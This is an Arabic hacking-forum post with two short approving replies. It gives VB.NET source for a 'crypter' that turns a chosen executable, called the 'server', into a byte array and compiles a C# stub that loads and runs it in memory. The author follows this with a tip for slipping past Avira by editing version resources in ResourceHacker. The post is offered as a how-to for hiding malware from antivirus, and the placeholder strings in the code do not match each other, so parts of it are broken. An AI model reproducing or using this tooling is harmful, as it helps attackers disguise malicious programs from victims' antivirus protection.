بادئ الموضوع تاريخ البدء
  • المشاهدات 262
  • الردود 2
S

SAMPOP

V • I • P
إنضم
9 سبتمبر 2018
المشاركات
361
مستوى التفاعل
358
النقاط
63
العمر
20
أفضل الإجابات
8
نظام التشغيل
Windows xp
السلام عليكم و رحمة الله تعالي و بركاته
اليوم معنا كيفية صنع برنامج تشفير في دقائق معدودة
الفورم يحتوي علي Button1 باسم Server و TextBox1 و Button2 باسم Crypter فقط
لا تتقيد بالاسماء انت ضع ما تريد
هذه هي اكواد الفورم





C#:
Imports System.CodeDom.Compiler
Imports System.IO
Public Class Form1


    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        Dim openFileDialog As System.Windows.Forms.OpenFileDialog = New System.Windows.Forms.OpenFileDialog() With
                   {
                       .Filter = "|*.exe"
                   }
        If (openFileDialog.ShowDialog() <> DialogResult.OK) Then
            MessageBox.Show("Server ?!?!?!")
        Else
            Me.TextBox1.Text = openFileDialog.FileName
        End If
    End Sub

    Private Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
        Dim str As String = "using System;class class1{static void Main(){int[] buffer = {انسخ هنا};byte[] final = new byte[buffer.Length];for (int i = 0; i < buffer.Length; i++){final[i] = Convert.ToByte(Math.Abs(buffer[i]));}AppDomain.CurrentDomain.Load(final).EntryPoint.Invoke(1, null);}}"
        Dim num As String = Me.Convert_ToByte(File.ReadAllBytes(Me.TextBox1.Text))
        Me.Crypter(str.Replace("ضع هنا اي شئ و اعد نسخه في هنا  ", num))
        MessageBox.Show("Encrypted Succefully ")
    End Sub


    Public Function Convert_ToByte(ByVal buffer As Byte()) As String
        Dim str As String = ""
        Dim numArray As Byte() = buffer
        Dim num As Integer = 0
        While num < CInt(numArray.Length)
            Dim num1 As Byte = numArray(num)
            str = If(Not num1.ToString().Contains("1"), String.Concat(str, "-", Convert.ToString(Convert.ToByte(num1)), ","), String.Concat(str, Convert.ToString(Convert.ToByte(num1)), ","))
            num = num + 1
        End While
        Dim str1 As String = str.ToString().Remove(str.Length - 1)
        Return str1
    End Function

    Public Sub Crypter(ByVal str As String)
        Dim codeDomProvider As System.CodeDom.Compiler.CodeDomProvider = System.CodeDom.Compiler.CodeDomProvider.CreateProvider("CSharp")
        Dim compilerParameter As CompilerParameters = New CompilerParameters() With
            {
                .GenerateExecutable = True,
                .OutputAssembly = "ضع اي اسم تريد و من المستحسن يكون دون صيغة فيما بعد اضف الصيغة للناتج ",
                .CompilerOptions = "/t:winexe"
            }
        Dim strArrays() As String = {str}
        codeDomProvider.CompileAssemblyFromSource(compilerParameter, strArrays)
    End Sub
End Class
و للتخلص من الافيرا استعمل ResourceHacker و غير في 0.0.0.0 بوضع اي عدد مثال يصبح 1.0.0.0 او 0.1.0.0
المهم سوف تجد ثلاثة من 0.0.0.0 قم بتغييرها كلها
ذمتم في رعاية الله و حفظه
 
iiYoyo

iiYoyo

مـشُرٍفَ إآقسًٌُُإآمـ إآلُتـ,صمـيَمـ
طاقم الإدارة
إنضم
25 مارس 2019
المشاركات
241
مستوى التفاعل
287
النقاط
63
العمر
15
الإقامة
كوكب الارض
أفضل الإجابات
8
نظام التشغيل
Windows 7
عاشت ايدك يا وحش 💛👌
 
assdsiwi

assdsiwi

:: Super Moderator ::
طاقم الإدارة
إنضم
22 مارس 2019
المشاركات
213
مستوى التفاعل
299
النقاط
63
أفضل الإجابات
1
نظام التشغيل
Linux
بطل
 

كلمة المدير

جميع المواضيع والمشاركات المكتوبة تعبّر عن وجهة نظر صاحبها ,, ولا تعبّر بأي شكل من الاشكال عن وجهة نظر إدارة المنتدى .

تواصل مع فريق العمل

  • Sa3Ka

  • 966-000000000

  • [email protected]

  • www.sa3ka.com

عن شبكة الصاعقة العربية - [Sa3eka]

شبكة الصاعقة موقع اجتماعي يهتم بتطوير مهارات الحماية والاختراق وطرق الاستهداف بشروحات مفيدة.

تابعنا على المواقع الاجتماعية


إتصل بنا

 

أعلى

خيارات الاستايل

تلوين الاقسام
خلفية المنتدى
نوع الخط
جدول المنتديات
تمديد المنتدى
فصل الأقسام
إخفاء السايدبار
حجم الخط
الصورة الرمزية
بيانات العضو
إخفاء التواقيع

إرجاع خيارات الإستايل